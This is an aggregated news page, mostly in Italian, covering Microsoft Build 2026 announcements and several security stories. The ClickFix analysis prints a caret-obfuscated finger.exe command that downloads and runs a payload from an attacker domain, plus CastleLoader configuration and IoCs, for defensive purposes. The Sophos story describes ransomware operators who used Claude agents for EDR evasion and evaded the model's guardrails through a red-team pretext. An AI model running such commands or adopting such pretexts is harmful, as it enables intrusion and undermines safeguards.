Spcnet.it

2026-06-05 18:08:42

Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise

Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero

A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

• MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
• MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
• MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
• MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
• Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise

Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati

Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft

I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

• GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
• Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
• Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
• Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.

Trust, governance e sovranità dei dati

Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin

Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

• Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
• Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
• Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
• AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.

---

Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News

Microsoft launches MAI frontier models and custom agents for enterprise workloads – 4sysops

Microsoft has introduced seven new MAI frontier models designed for image processing, transcription, voice generation, and reasoning. The lineup includes MAI Th

^{IT News (4sysops)}

Spcnet.it

2026-06-05 18:08:25

GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant

A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più

Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization

L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

1. Si apre il progetto o la solution da migrare in Visual Studio.
2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati

L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target

Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

• ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
• Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
• Azure Functions: aggiornamento al modello isolated worker process.
• Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.

Conversione SDK-style

Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire

Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti

L’agente gestisce anche scenari più circoscritti come:

• Migrazione da Newtonsoft.Json a System.Text.Json.
• Aggiornamento di Microsoft.Data.SqlClient.
• Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.

Pre-build error checking in Visual Studio 2026

Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution

Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare

Per usare GitHub Copilot App Modernization è necessario:

1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise

La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione

Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn

What's Coming Next in Visual Studio: Our Microsoft Build 2026 Announcements - Visual Studio Blog

Microsoft Build kicks off today in San Francisco, June 2 and 3. If you cannot make it in person, the sessions are streaming online for free, and I want to

^{Mads Kristensen (Visual Studio Blog)}

(in)sicurezza digitale

2026-06-05 18:09:55

Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino

Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence

Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”

Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata

Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare

L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni

Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek

Five Eyes: Chinese Spies Target Government, Military Staff With Fake Job Opportunities

Posing as recruiters on online platforms, Chinese intelligence officers target personnel with access to classified or privileged information.

^{Ionut Arghire (SecurityWeek)}

(in)sicurezza digitale

2026-06-05 18:10:35

ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python

Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed

L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin

L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking

Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

• CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
• IronPython: %LocalAppData%\IronPython.3.4.2.pdf

CastleLoader: framework MaaS con cifratura ChaCha20

Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket

Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori

Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026

ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery

The LevelBlue OpsIntel CTI team examined the latest version of the ClickFix campaign, which emerged in early May 2026.

^{King Orande and Cris Tomboc (Trustwave Holdings, Inc.)}

netzpolitik.org

2026-06-05 12:33:39

Mit einem Paket an Gesetzen will die EU-Kommission digital souveräner werden. Aber das positiv besetzte Label verschleiert eine knallharte Industrie-Agenda: Neue Rechenzentren sollen massig Energie verschlingen. Ein Kommentar.

netzpolitik.org/2026/rechenzen…

Stromfresser sollen uns souverän machen

^{Esther Menhard (netzpolitik.org)}

(in)sicurezza digitale

2026-06-05 05:34:10

Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve

Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta

L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP

Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati

Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?

La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori

L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.

Spcnet.it

2026-06-03 19:49:42

Windows 365 for Agents: Cloud PC per l’automazione AI in azienda

Cosa sono i Windows 365 for Agents?

Microsoft ha annunciato in public preview Windows 365 for Agents, una nuova offerta che estende la piattaforma Cloud PC per supportare l’automazione basata su agenti AI. L’idea di fondo è semplice ma potente: invece di assegnare un Cloud PC a un utente umano, lo si mette a disposizione di un agente AI che ne ha bisogno per completare un’attività che richiede l’interazione con un’interfaccia grafica — un browser, un’applicazione legacy, un portale web senza API.

Il servizio è attualmente disponibile in anteprima pubblica esclusivamente negli Stati Uniti, quindi prima di pianificare un’implementazione conviene verificare la disponibilità del tenant.

Perché un Cloud PC per un agente AI?

La domanda legittima è: perché un agente AI dovrebbe aver bisogno di un Cloud PC? Molti workflow di automazione si completano già tramite API, connettori o strumenti MCP. Ma esistono scenari reali in cui questo non è possibile:

• Applicazioni legacy che non espongono API
• Portali web che richiedono interazione manuale con elementi UI
• Processi che dipendono da software desktop non modernizzato
• Task che richiedono la gestione di file locali tramite interfaccia grafica

In questi casi, l’agente ha bisogno di un ambiente desktop reale su cui operare — e Windows 365 for Agents fornisce esattamente questo, con un modello di sicurezza, identità e governance pensato per le organizzazioni enterprise.

Architettura: pool e check-out/check-in

Il meccanismo centrale è il Cloud PC agent pool: un insieme condiviso di Cloud PC pre-provisionati con proprietà comuni (piano di billing, regione geografica, numero di istanze, immagine). Gli agenti non hanno un Cloud PC dedicato — usano un modello di check-out/check-in:

1. L’agente prenota un Cloud PC disponibile nel pool
2. Esegue il proprio task
3. Restituisce il Cloud PC al pool
4. Il Cloud PC viene resettato prima del riutilizzo

Microsoft descrive quattro piani operativi per l’architettura degli agenti:

• Computer-Create: provisioning e manutenzione dei pool
• Computer-Get: prenotazione e rilascio dei Cloud PC
• Computer-Do: invio di azioni (click, digitazione, ecc.)
• Computer-See / Computer-TakeControl: osservazione e controllo manuale da parte di un operatore umano

La superficie di controllo in-session usa il Model Context Protocol (MCP), lo stesso protocollo che permette agli agenti AI di scoprire e chiamare strumenti esterni in modo standardizzato.

Modello di sicurezza e identità

I Cloud PC for Agents sono Microsoft Entra-joined e Intune-enrolled. Ogni agente opera con una propria identità dedicata in Microsoft Entra — non viene riutilizzata o impersonata l’identità di un utente umano. Questo è un punto importante per la governance: ogni azione dell’agente è tracciabile e attribuibile a un’identità specifica.

Il supporto attuale alle Conditional Access per le identità agente include il controllo Block access, ma Microsoft chiarisce che non è ancora un sostituto completo per tutti i pattern di Conditional Access usati con gli utenti umani. Da tenere in considerazione prima di portare in produzione scenari critici.

